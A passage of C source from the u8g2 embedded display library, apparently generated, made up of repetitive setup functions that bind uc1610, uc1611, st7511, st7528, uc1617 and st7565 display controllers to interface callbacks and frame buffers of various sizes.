u8g2_SetupDisplay(u8g2, u8x8_d_uc1610_ea_dogxl160, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_13_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1610 2 */ void u8g2_Setup_uc1610_i2c_ea_dogxl160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1610_ea_dogxl160, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_13_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1610 f */ void u8g2_Setup_uc1610_i2c_ea_dogxl160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1610_ea_dogxl160, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_13_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1611 */ /* uc1611 1 */ void u8g2_Setup_uc1611_ea_dogm240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ea_dogm240, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1611 2 */ void u8g2_Setup_uc1611_ea_dogm240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ea_dogm240, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1611 f */ void u8g2_Setup_uc1611_ea_dogm240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ea_dogm240, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1611 */ /* uc1611 1 */ void u8g2_Setup_uc1611_i2c_ea_dogm240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ea_dogm240, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1611 2 */ void u8g2_Setup_uc1611_i2c_ea_dogm240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ea_dogm240, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1611 f */ void u8g2_Setup_uc1611_i2c_ea_dogm240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ea_dogm240, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1611 */ /* uc1611 1 */ void u8g2_Setup_uc1611_ea_dogxl240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ea_dogxl240, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1611 2 */ void u8g2_Setup_uc1611_ea_dogxl240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ea_dogxl240, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1611 f */ void u8g2_Setup_uc1611_ea_dogxl240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ea_dogxl240, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1611 */ /* uc1611 1 */ void u8g2_Setup_uc1611_i2c_ea_dogxl240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ea_dogxl240, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1611 2 */ void u8g2_Setup_uc1611_i2c_ea_dogxl240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ea_dogxl240, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1611 f */ void u8g2_Setup_uc1611_i2c_ea_dogxl240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ea_dogxl240, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1611 */ /* uc1611 1 */ void u8g2_Setup_uc1611_ew50850_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ew50850, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_20_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1611 2 */ void u8g2_Setup_uc1611_ew50850_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ew50850, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_20_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1611 f */ void u8g2_Setup_uc1611_ew50850_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ew50850, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_20_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1611 */ /* uc1611 1 */ void u8g2_Setup_uc1611_i2c_ew50850_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ew50850, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_20_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1611 2 */ void u8g2_Setup_uc1611_i2c_ew50850_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ew50850, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_20_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1611 f */ void u8g2_Setup_uc1611_i2c_ew50850_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ew50850, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_20_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1611 */ /* uc1611 1 */ void u8g2_Setup_uc1611_cg160160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_cg160160, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_20_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1611 2 */ void u8g2_Setup_uc1611_cg160160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_cg160160, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_20_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1611 f */ void u8g2_Setup_uc1611_cg160160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_cg160160, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_20_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1611 */ /* uc1611 1 */ void u8g2_Setup_uc1611_i2c_cg160160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_cg160160, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_20_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1611 2 */ void u8g2_Setup_uc1611_i2c_cg160160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_cg160160, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_20_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1611 f */ void u8g2_Setup_uc1611_i2c_cg160160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_cg160160, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_20_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1611 */ /* uc1611 1 */ void u8g2_Setup_uc1611_ids4073_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ids4073, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1611 2 */ void u8g2_Setup_uc1611_ids4073_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ids4073, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1611 f */ void u8g2_Setup_uc1611_ids4073_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ids4073, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1611 */ /* uc1611 1 */ void u8g2_Setup_uc1611_i2c_ids4073_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ids4073, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1611 2 */ void u8g2_Setup_uc1611_i2c_ids4073_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ids4073, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1611 f */ void u8g2_Setup_uc1611_i2c_ids4073_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ids4073, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7511 */ /* st7511 1 */ void u8g2_Setup_st7511_avd_320x240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7511_avd_320x240, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_40_30_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7511 2 */ void u8g2_Setup_st7511_avd_320x240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7511_avd_320x240, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_40_30_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7511 f */ void u8g2_Setup_st7511_avd_320x240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7511_avd_320x240, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_40_30_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7528 */ /* st7528 1 */ void u8g2_Setup_st7528_nhd_c160100_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7528_nhd_c160100, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_13_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7528 2 */ void u8g2_Setup_st7528_nhd_c160100_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7528_nhd_c160100, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_13_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7528 f */ void u8g2_Setup_st7528_nhd_c160100_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7528_nhd_c160100, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_13_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7528 */ /* st7528 1 */ void u8g2_Setup_st7528_i2c_nhd_c160100_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7528_nhd_c160100, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_13_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7528 2 */ void u8g2_Setup_st7528_i2c_nhd_c160100_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7528_nhd_c160100, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_13_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7528 f */ void u8g2_Setup_st7528_i2c_nhd_c160100_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7528_nhd_c160100, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_13_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7528 */ /* st7528 1 */ void u8g2_Setup_st7528_erc16064_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7528_erc16064, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7528 2 */ void u8g2_Setup_st7528_erc16064_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7528_erc16064, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7528 f */ void u8g2_Setup_st7528_erc16064_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7528_erc16064, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7528 */ /* st7528 1 */ void u8g2_Setup_st7528_i2c_erc16064_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7528_erc16064, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7528 2 */ void u8g2_Setup_st7528_i2c_erc16064_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7528_erc16064, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7528 f */ void u8g2_Setup_st7528_i2c_erc16064_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7528_erc16064, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1617 */ /* uc1617 1 */ void u8g2_Setup_uc1617_jlx128128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1617_jlx128128, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1617 2 */ void u8g2_Setup_uc1617_jlx128128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1617_jlx128128, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1617 f */ void u8g2_Setup_uc1617_jlx128128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1617_jlx128128, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1617 */ /* uc1617 1 */ void u8g2_Setup_uc1617_i2c_jlx128128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1617_jlx128128, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1617 2 */ void u8g2_Setup_uc1617_i2c_jlx128128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1617_jlx128128, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1617 f */ void u8g2_Setup_uc1617_i2c_jlx128128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1617_jlx128128, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7565 */ /* st7565 1 */ void u8g2_Setup_st7565_ea_dogm128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7565_ea_dogm128, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); 